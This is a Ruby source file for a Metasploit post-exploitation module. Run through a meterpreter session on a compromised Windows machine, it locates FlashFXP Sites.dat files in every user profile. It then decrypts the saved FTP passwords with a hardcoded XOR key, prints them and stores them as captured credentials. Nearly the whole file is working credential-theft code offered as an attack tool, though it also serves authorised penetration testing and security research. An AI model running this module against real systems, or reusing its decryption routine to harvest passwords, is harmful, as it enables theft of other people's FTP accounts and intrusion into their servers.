115 lines
3.1 KiB
Ruby
115 lines
3.1 KiB
Ruby
# $Id$
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'rex'
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require 'rex/parser/ini'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::Registry
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather FlashFXP Saved Password Extraction',
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'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords
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from FlashFXP. It finds saved FTP connections in the Sites.dat file. },
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'License' => MSF_LICENSE,
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'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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@fxppaths = []
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@userpaths = []
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os = session.sys.config.sysinfo['OS']
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drive = session.fs.file.expand_path("%SystemDrive%")
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if os =~ /Windows 7|Vista|2008/
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@appdata = '\\AppData\\Roaming\\FlashFXP\\'
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@users = drive + '\\Users'
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@userpaths << drive + '\\ProgramData\\FlashFXP\\'
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else
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@appdata = '\\Application Data\\FlashFXP\\'
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@users = drive + '\\Documents and Settings'
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end
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get_users()
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@userpaths.each{|up| get_ver_dirs(up)}
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@fxppaths.each do |fxp|
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get_ini(fxp)
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end
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end
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def get_users
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session.fs.dir.foreach(@users) do |path|
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next if path =~ /^(\.|\.\.|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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@userpaths << "#{@users}\\#{path}\\#{@appdata}\\"
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end
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end
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def get_ver_dirs(path)
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begin
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session.fs.dir.foreach(path) do |sub|
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next if sub =~ /^(\.|\.\.)$/
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@fxppaths << "#{path}#{sub}\\Sites.dat"
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end
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rescue
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print_status("The following path could not be accessed or does not exist: #{path}")
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end
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end
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def get_ini(filename)
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begin
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config = client.fs.file.new(filename,'r')
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parse = config.read
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ini = Rex::Parser::Ini.from_s(parse)
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if ini == {}
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print_status("Unable to parse file, may be encrypted using external password: #{filename}")
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end
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ini.each_key do |group|
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host = ini[group]['IP']
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username = ini[group]['user']
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epass = ini[group]['pass']
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port = ini[group]['port']
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next if epass == nil or epass == ""
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passwd = decrypt(epass)
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print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
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report_auth_info(
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:host => host,
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:port => port,
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:sname => 'FTP',
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:user => username,
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:pass => passwd
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)
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end
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rescue
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print_status("Either could not find or could not open file #{filename}")
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end
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end
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def decrypt(pwd)
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key = "yA36zA48dEhfrvghGRg57h5UlDv3"
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pass = ""
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cipher = [pwd].pack("H*")
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(0..(cipher.length)-2).each do |index|
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xored = cipher[index + 1,1].unpack("C").first ^ key[index,1].unpack("C").first
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if ((xored - cipher[index,1].unpack("C").first < 0))
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xored += 255
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end
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pass << (xored - cipher[index,1].unpack("C").first).chr
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end
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return pass
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end
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end
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